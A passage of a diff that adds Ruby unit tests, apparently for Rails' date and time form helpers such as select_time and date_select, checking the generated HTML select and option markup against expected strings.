+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
+ end
+
+ def test_select_time_with_seconds_and_separator
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
+ end
+
+ def test_select_time_with_html_options
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
+ end
+
+ def test_select_time_should_work_with_date
+ assert_nothing_raised { select_time(Date.today) }
+ end
+
+ def test_select_time_with_default_prompt
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
+ end
+
+ def test_select_time_with_custom_prompt
+ expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+ expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+ expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+ expected << %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ expected << " : "
+
+ expected << %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true,
+ :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
+ end
+
+ def test_select_time_with_hidden
+ expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+ expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+ expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+ expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+ assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+ end
+
+ def test_date_select
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on")
+ end
+
+ def test_date_select_with_selected
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :selected => Date.new(2004, 07, 10))
+ end
+
+ def test_date_select_with_selected_nil
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", include_blank: true, discard_year: true, selected: nil)
+ end
+
+ def test_date_select_without_day
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
+ end
+
+ def test_date_select_without_day_and_month
+ @post = Post.new
+ @post.written_on = Date.new(2004, 2, 29)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
+ expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
+ end
+
+ def test_date_select_without_day_with_separator
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
+ end
+
+ def test_date_select_without_day_and_with_disabled_html_option
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
+ end
+
+ def test_date_select_within_fields_for
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
